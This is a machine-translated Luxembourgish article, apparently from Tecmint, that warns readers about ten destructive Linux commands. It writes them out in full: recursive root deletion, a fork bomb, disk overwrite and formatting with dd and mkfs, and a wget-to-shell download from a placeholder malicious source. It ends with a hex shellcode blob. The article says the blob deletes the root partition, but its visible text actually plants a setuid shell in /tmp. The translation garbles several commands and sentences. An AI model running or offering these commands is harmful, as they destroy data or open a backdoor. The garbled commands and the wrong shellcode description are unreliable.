10 meescht geféierlech Kommandoen - Dir sollt ni op Linux ausféieren


Linux Kommandozeil ass produktiv, nëtzlech an interessant, awer heiansdo kann et ganz geféierlech sinn, besonnesch wann Dir net sécher sidd wat Dir maacht. Dësen Artikel ass net geduecht fir Iech rosen op Linux oder Linux Kommandozeil ze maachen. Mir wëllen Iech just e puer vun de Kommandoen bewosst maachen, déi Dir zweemol sollt denken ier Dir se ausféiert.

1. rm -rf Kommando

De Kommando rm -rf ass ee vun de schnellsten Weeër fir en Dossier a säin Inhalt ze läschen. Awer e klengen Tippfeeler oder Ignoranz kann zu onerhuelbare Systemschued féieren. Déi e puer vun Optiounen benotzt mat rm Kommando sinn.

  1. rm Kommando am Linux gëtt benotzt fir Dateien ze läschen.
  2. rm -r Kommando läscht den Dossier rekursiv, och den eidelen Dossier.
  3. rm -f Kommando läscht 'Liesennëmmen Datei' ouni ze froen.
  4. rm -rf/: D'Läschung vun allem am Root-Verzeichnis forcéieren.
  5. rm -rf * : Zwangsläsche vun allem am aktuellen Verzeichnis/Aarbechtsverzeichnis.
  6. rm -rf . : D'Läschen vum aktuellen Dossier an Ënner-Ordner forcéieren.

Dofir, sidd virsiichteg wann Dir rm -rf Kommando ausféiert. Fir versehentlech Läschen vun der Datei duerch 'rm' Kommando ze iwwerwannen, erstellt en Alias vum 'rm' Kommando als 'rm -i' an der .bashrc Datei, et freet Iech all Läschen ze bestätegen.

2. :(){:|:&};: Kommando

Dat hei uewen ass tatsächlech eng Gabelbomm. Et funktionnéiert andeems Dir eng Funktioun genannt : definéiert, déi sech zweemol nennt, eemol am Virdergrond an eemol am Hannergrond. Et hält ëmmer erëm auszeféieren bis de System afréiert.

:(){:|:&};:

3. Kommando > /dev/sda

Deen uewe genannte Kommando schreift d'Ausgab vum 'Kommando' am Block /dev/sda. Deen uewe genannte Kommando schreift réi Donnéeën an all d'Dateien am Block ginn duerch réi Donnéeën ersat, sou datt de komplette Verloscht vun Daten am Block resultéiert.

4. mv Dossier /dev/null

Deen uewe genannte Kommando réckelt 'Dossier' op /dev/null. Am Linux/dev/null oder null Apparat ass eng speziell Datei déi all d'Donnéeën déi drop geschriwwe sinn entlooss ginn a Berichter déi d'Schreifoperatioun geléngt.

# mv /home/user/* /dev/null

Deen uewe genannte Kommando wäert all den Inhalt vun engem Benotzerverzeechnes op /dev/null réckelen, wat wuertwiertlech alles heescht datt et op Blackhole (null) geschéckt gouf.

5. wget http://malicious_source -O- | sch

Deen uewe genannte Kommando wäert e Skript vun enger béiswëlleger Quell eroflueden an dann ausféieren. Wget Kommando wäert de Skript eroflueden a sh wäert de erofgeluede Skript ausféieren.

Notiz: Dir sollt ganz bewosst sinn iwwer d'Quell vu wou Dir Packagen a Skripte eroflueden. Benotzt nëmmen déi Skripte/Uwendungen déi vun enger vertrauter Quell erofgeluede ginn.

6. mkfs.ext3 /dev/sda

Deen uewe genannte Kommando formatéiert de Block 'sda' an Dir wäert sécher wëssen datt no der Ausféierung vum uewe genannte Kommando Äre Block (Hard Disk Drive) nei wier, BRAND NEW! Ouni Donnéeën, léisst Äre System an eng onerhuelbar Etapp.

7. > Fichier

Deen uewe genannte Kommando gëtt benotzt fir den Inhalt vun der Datei ze spülen. Wann de Kommando uewe mat engem Tippfeeler oder Ignoranz wéi > xt.conf ausgefouert gëtt, schreift d'Konfiguratiounsdatei oder all aner System oder Konfiguratiounsdatei.

8. ^fo^bar

Dëse Kommando, wéi an eisen 10 manner bekannte Linux Kommandoen beschriwwen, gëtt benotzt fir de fréiere Run Kommando z'änneren ouni datt de ganze Kommando nach eng Kéier néideg ass. Awer dëst kann wierklech schwiereg sinn wann Dir net de Risiko geholl hutt d'Ännerung am urspréngleche Kommando grëndlech ze kontrolléieren andeems Dir ^foo^bar Kommando benotzt.

9. dd wann=/dev/zoufälleg vun=/dev/sda

Deen uewe genannte Kommando wëschen de Block sda aus a schreift zoufälleg Junkdaten an de Block. Natierlech! Äre System wier op inkonsistent an onerhuelbarer Stadium hannerlooss.

10. Verstoppt de Kommando

De Kommando ënnen ass näischt anescht wéi den éischte Kommando uewen (rm -rf). Hei sinn d'Coden an Hex verstoppt sou datt en ignorant Benotzer täuscht ka ginn. Den ënnendrënner Code an Ärem Terminal auszeféieren wäert Är Root Partition wëschen.

Dëse Kommando hei weist datt d'Drohung verstoppt ka sinn an heiansdo net erkennen. Dir musst bewosst sinn wat Dir maacht a wat d'Resultat wier. Kompiléiert/lafen keng Coden aus enger onbekannter Quell.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Bemierkung: Fëllt keen vun den uewe genannte Kommandoen an Ärem Linux-Terminal oder Shell oder vun Ärem Frënd oder Schoulcomputer aus. Wann Dir se wëllt testen, lafen se an enger virtueller Maschinn. All In-Konsistenz oder Dateverloscht, wéinst der Ausféierung vum uewe genannte Kommando, wäert Äre System ofbriechen, fir deen weder den Auteur vum Artikel nach Tecmint verantwortlech ass.

Dat ass alles fir elo. Ech wäert geschwënn erëm hei mat engem aneren interessanten Artikel sinn Dir d'Leit gär liesen. Bis dann Bleift ofgeschloss a verbonne mat Tecmint. Wann Dir aner sou geféierlech Linux Kommandoen kennt an Dir wëllt datt mir op d'Lëscht bäidroen, sot eis w.e.g. iwwer d'Kommentarsektioun a vergiesst net Äre Wäertfäeg Feedback ze ginn.